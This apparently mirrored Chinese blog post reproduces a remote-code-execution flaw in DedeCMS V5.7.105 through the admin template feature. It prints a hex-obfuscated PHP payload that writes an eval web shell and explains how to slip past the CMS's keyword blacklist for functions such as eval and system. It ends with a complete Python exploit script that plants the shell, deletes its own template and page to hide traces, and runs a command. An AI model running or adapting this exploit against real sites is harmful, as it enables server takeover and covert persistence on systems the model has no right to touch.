织梦DedeCMS 0day RCE - seizer-zyx
source link: https://www.cnblogs.com/seizer/p/17146267.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
织梦DedeCMS 0day RCE
原文链接:https://mp.weixin.qq.com/s/bwBc4I9GeY6M_WlEDx83TA
复现记录时间:
下载当前最新版本DedeCMS V5.7.105进行漏洞复现以及漏洞分析
可以自己在本地搭建漏洞环境,也可以拉取我自己制作的docker镜像
docker pull se1zer/dedecms:latest docker run -d -P se1zer/dedecms
不会给镜像做瘦身,正在学了,555,要是拉取的太慢可以挂到后台或者就自己本地搭一下吧
首先需要到后台登录界面/uploads/dede/
登录到后台,然后如下图操作创建一个模板
这里模板内容需要做绕过,详情看后边的漏洞分析
<?php "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('./shell.php', "<?php eva" . "l(\$_GE" . "T[a]);"); // file_put_contents('./shell.php', "<?php eval($_GET[a]);");
第二步,如下图增加一个页面
通过刚刚新建的模板进行新建页面,需要注意的是这里文件名处后缀为.php
之后便在/uploads/a/
下创建了一个文件,访问/uploads/a/123.php
页面将会执行自己写的file_put_contents
函数生成一个shell.php
通过刚才漏洞复现的接口,可以看到创建模板调用的是tpl.php
文件,新建页面调用的是templets_one_add.php
文件
tpl.php
文件位于/uploads/dede/tpl.php
在31行这里,对模板内容进行了一些过滤和检测,下边使用注释进行解释过滤
// 不允许这些字符 $content = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $content); // 黑名单正则匹配 global $cfg_disable_funs; $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace'; $cfg_disable_funs = $cfg_disable_funs.',[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,create_function,array_map,call_user_func,call_user_func_array,array_filert'; foreach (explode(",", $cfg_disable_funs) as $value) { $value = str_replace(" ", "", $value); // [^a-z]+ 是除a-z之外的字符(在[]里不是开头的意思) if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{]#i", " {$content}") == TRUE) { $content = dede_htmlspecialchars($content); die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>"); } } // 匹配<\?php头 if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$content}") == TRUE) { // 这里的U为惰性匹配 // 匹配函数变量执行,例如$a="phpinfo",则$a()就会被匹配 if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$content}") == TRUE) { $content = dede_htmlspecialchars($content); die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>"); } // 就是在上一个匹配前加了一个@,防止报错 if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$content}") == TRUE) { $content = dede_htmlspecialchars($content); die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>"); } // 匹配反引号`,防止命令执行 if(preg_match("#[`][\s\S]*[`]#i", " {$content}") == TRUE) { $content = dede_htmlspecialchars($content); die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>"); } }
通过上述梳理,发现有很多方法是可以绕过的!
之后进入$action == 'saveedit'
语句,然后写入文件,这里模板文件必须使用.htm
结尾
templets_one_add.php
前边都是对新建页面内容的一些处理,不会影响模板内容引入,在43行处开始保存文件
来到uploads/include/arc.sgpage.class.php
的SavaToHtml
方法
然后进入uploads/include/dedetag.class.php
的SaveTo
方法
798行获取模板内容,如果有标签的话,还会把标签的值写入文件
至此分析完毕
总结:代码没有对新建页面的文件后缀进行检测,并且模板内容安全检测也不够完善从而导致了这个漏洞的产生
import requests from urllib.parse import urljoin import re cookies = { "PHPSESSID": "5k3br9fh4f34so2k0k85qqg3f5" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36", } s = requests.session() s.headers.update(headers) s.cookies.update(cookies) def exp(url): # 创建恶意模板 tpl_url = urljoin(url, "dede/tpl.php") ## 获取token params="action=newfile&acdir=default" r = s.get(tpl_url, params=params) token = re.search('"token" value="([a-z0-9]{32})"', r.text).group(1) # print(token) shell = """<?php "\\x66\\x69\\x6c\\x65\\x5f\\x70\\x75\\x74\\x5f\\x63\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x73"('./shell.php', "<?php eva" . "l(\$_POS" . "T[a]);"); """ data = { "action": "saveedit", "acdir": "default", "token": token, "filename": "hack.htm", "content": shell } r = s.post(tpl_url, data=data) if "成功" in r.text: print("成功创建模板") # 利用恶意模板新建页面 templets_url = urljoin(url, "dede/templets_one_add.php") data = { "dopost": "save", "title": "hack", "keywords": "hack", "description": "hack", "likeidsel": "default", "nfilename": "/a/hack.php", "template": "{style}/hack.htm", "ismake": 0, "body": "" } r = s.post(templets_url, data=data) if "成功" in r.text: print("成功增加页面") s.get(urljoin(url, "a/hack.php")) # 清理痕迹 ## 获取aid r = s.get(urljoin(url, "dede/templets_one.php")) aid = re.search("'templets_one_edit.php\?aid=([0-9]+)&dopost=edit'>hack", r.text).group(1) ## 删除页面 params = f"aid={aid}&dopost=delete" r = s.get(urljoin(url, "dede/templets_one_edit.php"), params=params) if "成功" in r.text: print("成功删除页面") ## 删除恶意模板 params = "action=del&acdir=default&filename=hack.htm" r = s.get(tpl_url, params=params) if "成功" in r.text: print("成功删除模板") shell_url = urljoin(url, "a/shell.php") print("shell地址: " + shell_url) print("shell密钥为a") r = s.post(shell_url, data={"a":"system('whoami');"}) print("whoami命令执行结果: " + r.text) if __name__ == "__main__": url = "http://phpstorm.com/DedeCMS-V5.7.105-UTF8/uploads/" exp(url)
登录后台后,手动修改脚本中的cookie和网站根目录,运行脚本即可获得shell地址及密码
__EOF__
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK